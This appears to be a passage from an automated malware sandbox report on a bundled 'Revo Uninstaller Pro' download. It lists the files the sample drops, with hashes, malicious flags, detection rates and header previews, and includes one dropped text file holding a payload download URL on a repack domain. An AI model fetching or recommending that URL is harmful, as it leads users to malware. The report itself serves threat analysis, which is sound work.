Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."......d....S...................@...........................W.....t.X...@.................................8%..P.........Q..........pW..)....W..6...".......................!.......................'...............................text...;b.......d.................. ..`.rdata...............h..............@..@.data...$5...P.......8..............@....tls.................V..............@....rsrc.....Q.......Q..X..............@..@.reloc...6....W..8...8W.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654075368040.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5189528
Entropy (8bit):	6.8622234075396875
Encrypted:	false
SSDEEP:	98304:T6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwL:H3gRKPR+UIYbL8v515oa7I3
MD5:	11054504E4BFC58D4E36F5799797FC09
SHA1:	6DB3FFCD7771E4B153C63872A3711D3EFEA2495A
SHA-256:	BFD03E0DC2A9ADDD6FDB8FBB1309B7C72C708CF931ED9FB83849BD658C37437A
SHA-512:	7E978B663CF75B31CD067E16136F9062918081E8AD5060709EA95EB08B7922B0A4090718C694D1A0A77DEEF0A8550984AB01A54EADE3950FFF2D359AB1717E2B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."!.....68...........(.......................................P.....{aO...@A..........................@.m.....@.......C.8=............O..)...PO.t....J@.....................@J@.....8W8...............@.$.....@.`....................text....48......68................. ..`.rdata......P8......:8.............@..@.data...<.....A..B....@.............@....rodata.......B...... A............. ..`.tls..........B......"A.............@...CPADinfo0.....B......$A.............@...malloc_h......C......&A............. ..`.rsrc...8=....C..>...(A.............@..@.reloc..t....PO......fM.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654079011640.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5189528
Entropy (8bit):	6.8622234075396875
Encrypted:	false
SSDEEP:	98304:T6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwL:H3gRKPR+UIYbL8v515oa7I3
MD5:	11054504E4BFC58D4E36F5799797FC09
SHA1:	6DB3FFCD7771E4B153C63872A3711D3EFEA2495A
SHA-256:	BFD03E0DC2A9ADDD6FDB8FBB1309B7C72C708CF931ED9FB83849BD658C37437A
SHA-512:	7E978B663CF75B31CD067E16136F9062918081E8AD5060709EA95EB08B7922B0A4090718C694D1A0A77DEEF0A8550984AB01A54EADE3950FFF2D359AB1717E2B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."!.....68...........(.......................................P.....{aO...@A..........................@.m.....@.......C.8=............O..)...PO.t....J@.....................@J@.....8W8...............@.$.....@.`....................text....48......68................. ..`.rdata......P8......:8.............@..@.data...<.....A..B....@.............@....rodata.......B...... A............. ..`.tls..........B......"A.............@...CPADinfo0.....B......$A.............@...malloc_h......C......&A............. ..`.rsrc...8=....C..>...(A.............@..@.reloc..t....PO......fM.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654087472252.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5189528
Entropy (8bit):	6.8622234075396875
Encrypted:	false
SSDEEP:	98304:T6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwL:H3gRKPR+UIYbL8v515oa7I3
MD5:	11054504E4BFC58D4E36F5799797FC09
SHA1:	6DB3FFCD7771E4B153C63872A3711D3EFEA2495A
SHA-256:	BFD03E0DC2A9ADDD6FDB8FBB1309B7C72C708CF931ED9FB83849BD658C37437A
SHA-512:	7E978B663CF75B31CD067E16136F9062918081E8AD5060709EA95EB08B7922B0A4090718C694D1A0A77DEEF0A8550984AB01A54EADE3950FFF2D359AB1717E2B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."!.....68...........(.......................................P.....{aO...@A..........................@.m.....@.......C.8=............O..)...PO.t....J@.....................@J@.....8W8...............@.$.....@.`....................text....48......68................. ..`.rdata......P8......:8.............@..@.data...<.....A..B....@.............@....rodata.......B...... A............. ..`.tls..........B......"A.............@...CPADinfo0.....B......$A.............@...malloc_h......C......&A............. ..`.rsrc...8=....C..>...(A.............@..@.reloc..t....PO......fM.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654101308068.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5189528
Entropy (8bit):	6.8622234075396875
Encrypted:	false
SSDEEP:	98304:T6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwL:H3gRKPR+UIYbL8v515oa7I3
MD5:	11054504E4BFC58D4E36F5799797FC09
SHA1:	6DB3FFCD7771E4B153C63872A3711D3EFEA2495A
SHA-256:	BFD03E0DC2A9ADDD6FDB8FBB1309B7C72C708CF931ED9FB83849BD658C37437A
SHA-512:	7E978B663CF75B31CD067E16136F9062918081E8AD5060709EA95EB08B7922B0A4090718C694D1A0A77DEEF0A8550984AB01A54EADE3950FFF2D359AB1717E2B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."!.....68...........(.......................................P.....{aO...@A..........................@.m.....@.......C.8=............O..)...PO.t....J@.....................@J@.....8W8...............@.$.....@.`....................text....48......68................. ..`.rdata......P8......:8.............@..@.data...<.....A..B....@.............@....rodata.......B...... A............. ..`.tls..........B......"A.............@...CPADinfo0.....B......$A.............@...malloc_h......C......&A............. ..`.rsrc...8=....C..>...(A.............@..@.reloc..t....PO......fM.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654106048056.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5189528
Entropy (8bit):	6.8622234075396875
Encrypted:	false
SSDEEP:	98304:T6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwL:H3gRKPR+UIYbL8v515oa7I3
MD5:	11054504E4BFC58D4E36F5799797FC09
SHA1:	6DB3FFCD7771E4B153C63872A3711D3EFEA2495A
SHA-256:	BFD03E0DC2A9ADDD6FDB8FBB1309B7C72C708CF931ED9FB83849BD658C37437A
SHA-512:	7E978B663CF75B31CD067E16136F9062918081E8AD5060709EA95EB08B7922B0A4090718C694D1A0A77DEEF0A8550984AB01A54EADE3950FFF2D359AB1717E2B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."!.....68...........(.......................................P.....{aO...@A..........................@.m.....@.......C.8=............O..)...PO.t....J@.....................@J@.....8W8...............@.$.....@.`....................text....48......68................. ..`.rdata......P8......:8.............@..@.data...<.....A..B....@.............@....rodata.......B...... A............. ..`.tls..........B......"A.............@...CPADinfo0.....B......$A.............@...malloc_h......C......&A............. ..`.rsrc...8=....C..>...(A.............@..@.reloc..t....PO......fM.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PACK.EXE

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	419886
Entropy (8bit):	7.320460842483817
Encrypted:	false
SSDEEP:	6144:q/iQb+ckQsH8TDRGKJkSvGUlYG2EY8NqK9XXHJoPNKAZzOndNyLMfjRxXdS:5Qnk3GDYKGcblBY8Y23mZ0dYmV0
MD5:	A868E9C0A97C2EF80602C0F6634913F8
SHA1:	9E3F70A600DDC17D018612B08854F702E24AE5D3
SHA-256:	691DF930404FB3CB974F183C849C4B1EDDC63EC3BCA579EEE24F8A59E702FE11
SHA-512:	611D06A34D007CB4D321400A318BA727B07971916F7207EF7D0D45383B7DC38361EA296904646F9079D9C42D87BD375F500D969BF9AA9C6906472655D84E6EF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...,...._......._..'...._f.'...._..'...Rich&...................PE..L....}\|^..................................... ....@..................................D....@.........................@...4...t...<.... ..''...................P...!.....T............................B..@............ ..`...... ....................text............................... ..`.rdata..2.... ......................@..@.data....8..........................@....gfids..............................@..@.rsrc...''... ...(..................@..@.reloc...!...P..."..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PACK.RAW

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.036006945330954
Encrypted:	false
SSDEEP:	3:N8MfXFLVt:2ghVt
MD5:	9D1787D69C72AE1531A6EFE6C058EBFA
SHA1:	847875E77AF8048EDF1A8A6D732D48F2A9B5CC96
SHA-256:	8C041E42595D9BF69B3293050B297A4BE644F57162DD362CA9C0E2EC15CE538D
SHA-512:	9A8CA8DFDEF274561C467B50C837C4BCA2A632995CEF8EDB565FA2872D4BD952EFD2EA0BDF32DA252CA0F949704245B8D335F1737B35F4D71ED35ADEFEE8F7C8
Malicious:	false
Preview:	https://mail.repack.me/tsjtmfdm.pkg

C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\PACK.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	174444
Entropy (8bit):	7.726875563462969
Encrypted:	false
SSDEEP:	3072:w+pMHMfwXZawAuL45TUQ+DjasBtroikmMUx+/fmmOUpIv1BUxXmXUzyh9F:w+p9wXMwYUQ+RAzG+/a0WXPT
MD5:	7ACCFDE96C04320BA099144A7BE710CC
SHA1:	7A7994CD05C4D93FC8B2897CF061E70F6D43ED7E
SHA-256:	1C668B85525A1F2C0634631472DFDECAFEE965AEC087D37BCEB737C1D7B433A1
SHA-512:	9A17BD9C9FC0E30EFDA6E7F091758FA3D3F23E41BF17E68C1D9F4F88C9807F328CE68EFCE1B08937C67FC786838215B600C7347FD705EE5DDEFEF8EA7AC15FD3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L..."D.f.................h...J...@..e6............@.......................... ............@..............................................C...........................................................................................................text....f.......h.................. ..`.rdata..X............l..............@..@.data...x#..........................@....ndata...................................rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0l02ykqe.0um.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4rc2sqgk.dtk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_542fe1iw.o41.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c4rg0ndz.qm3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3sqgctz.q5p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3xqql53.sxg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfwevozc.pse.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h4gwjpmf.d23.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpeofkhe.nkp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mjlgzcsm.gpj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3xtjvw0.fi1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymddijvs.vay.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\1.bmp

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PC bitmap, Windows 3.x format, 165 x 110 x 32, image size 72600, resolution 3780 x 3780 px/m, cbSize 72654, bits offset 54
Category:	dropped
Size (bytes):	72654
Entropy (8bit):	3.8234820419345263
Encrypted:	false
SSDEEP:	768:HoXxl+vlXEovFcdhahaUiIJpylVrg5u4ML:HiKqD6TiIJMX48
MD5:	DEC435FEBCB6AFA7D48712C6B7B7F797
SHA1:	ACF1290A64873D6286B9A6845291F87AC0C5D383
SHA-256:	CF0BF3E2326C6D6C60C0EB72F23D2F57E02C50B1C08012EC0F3490AD7992F85A
SHA-512:	84698DF0E436B4EF7B24AD2D59F2FC6AA960723D5B430C069B788C875332F8C36677A08C9DFD25ECBAE1A3D1472CC8D6A339CC3F8D00A7B4D7815B25F3AD8898
Malicious:	false
Preview:	BM........6...(.......n..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\2.bmp

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PC bitmap, Windows 3.x format, 165 x 110 x 32, image size 72600, resolution 3780 x 3780 px/m, cbSize 72654, bits offset 54
Category:	dropped
Size (bytes):	72654
Entropy (8bit):	4.179276254881405
Encrypted:	false
SSDEEP:	384:9lE1kJkgWOWeRFeCenb4GirH7GIG6vy5uavIcEBCGeBHdFbrEfwcwV+:s1kgbmAFbrEfwcwA
MD5:	03E71E2F27CB3C60F2515B378D5934A7
SHA1:	E9B43186EB393D73EACC10E5F7F116E78FDC0CE1
SHA-256:	242603B8262926CB598FF0F8094775CF6A4EC4FA5DC8191B9CF226888AF9F96E
SHA-512:	E27B5BE6E99FD9295FEC301BCBB286175D833E51C9E0E651BB746FA6B8E4E196BF85115CD94B99D18E01D93D6699F111AA0EA9C240975E07BE20EAA3E4D6D550
Malicious:	false
Preview:	BM........6...(.......n..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\3.bmp

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PC bitmap, Windows 3.x format, 165 x 110 x 32, image size 72600, resolution 3780 x 3780 px/m, cbSize 72654, bits offset 54
Category:	dropped
Size (bytes):	72654
Entropy (8bit):	3.8127911901112443
Encrypted:	false
SSDEEP:	192:Mr6Nzec6u9cNl0aUxJiHKDVthKheoH0vs7wwGI8Ean8e++y/rnpqnfbTqFBrec22:Mm8c6xl0v42h1lUnMnz/Gy8KqiSD
MD5:	FC176015020E80F8266906905D30536D
SHA1:	AB5FB655990467D9158B52099B78F9FB63FF12EE
SHA-256:	475853E54B9B40AB85E3D7FEED1C3EE9CC4E34444E2068B63627A9235E5B6333
SHA-512:	378F736359052FC76088BCE0FAF9EE987EEC67BB3AC065E9FD8E93FA8CDFC808BB13B27A4A3BDF13FEF652A895885FBD36EF1514571184E31E98C075BA404FB5
Malicious:	false
Preview:	BM........6...(.......n..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\4.bmp

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PC bitmap, Windows 3.x format, 165 x 110 x 32, image size 72600, resolution 3780 x 3780 px/m, cbSize 72654, bits offset 54
Category:	dropped
Size (bytes):	72654
Entropy (8bit):	4.191279757299406
Encrypted:	false
SSDEEP:	384:oamCMUJkgWOWeRFeCenb4GirH7GIG6vy5uavIcEBCGeBHdFbrEfwcwV+:CpUgbmAFbrEfwcwA
MD5:	7B91A8BD71A1534BED881C524474AA66
SHA1:	4C85276D711DD163E47236E139271D4AB6BDA280
SHA-256:	3392CF7BA5655BC4624D133947E13683D4447FAFB1EA6926F070FC3FD3C499B1
SHA-512:	D17F48F339C4C79CE4118D59B22DF283FDF8DEE288BFEFCD7374663C47843C8F311B30A3D5853F62C4F10895197F9C9F6B122FE27B0B67F1D72EA4B87289A9D0
Malicious:	false
Preview:	BM........6...(.......n..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\INetC.dll

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	5.312608585453437
Encrypted:	false
SSDEEP:	3072:NFf2FNF6iQraqoDDfbrH6ZgxkzStPpwGxqeujXj5Bif/Pa0A:NFfYCaqoDfb6mxk2LqHXj3if/Pa
MD5:	38F2B22967573A872426D05BDC1A1A70
SHA1:	ECAE471EB4E515E1006FCE645A82B70C8ACDA451
SHA-256:	83005624A3C515E8E4454A416693BA0FBF384FF5EA0E1471F520DFAE790D4AB7
SHA-512:	31BC78BB4EFC7C178C2C489B77D890B8806073180FBDD58156907C187CB73B0860701A9A2648DA1DA4930A8934C9A86B60EA5550315AFEBE833A681BCB4368E0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3..w...w...w...~.h.z...w...-...l(P.u...l(Q.v...l(`.v...l(a.v...l(f.v...Richw...................PE..L.....Eb...........!.....6...........C.......P...............................@............@.........................@`..l....X...........P...................0..L....................................................P...............................text....4.......6.................. ..`.rdata.......P.......:..............@..@.data...TX...p.......L..............@....rsrc....P.......R...\..............@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\LangDLL.dll

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.817430038996001
Encrypted:	false
SSDEEP:	48:S46+/sTKYKxbWsptIp5tCZ0iVEAWyMEv9v/ft2O2B8mWofjLl:z+uPbO5tCZBVEAWyMEFv2Cm9L
MD5:	549EE11198143574F4D9953198A09FE8
SHA1:	2E89BA5F30E1C1C4CE517F28EC1505294BB6C4C1
SHA-256:	131AA0DF90C08DCE2EECEE46CCE8759E9AFFF04BF15B7B0002C2A53AE5E92C36
SHA-512:	0FB4CEA4FD320381FE50C52D1C198261F0347D6DCEE857917169FCC3E2083ED4933BEFF708E81D816787195CCA050F3F5F9C5AC9CC7F781831B028EF5714BEC8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................>..........:..........Rich..........................PE..L....C.f...........!........."......?........ ...............................p............@.........................`"..I...\ ..P....P..`....................`....................................................... ..\............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...`....P......................@..@.reloc..`....`......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.804946284177748
Encrypted:	false
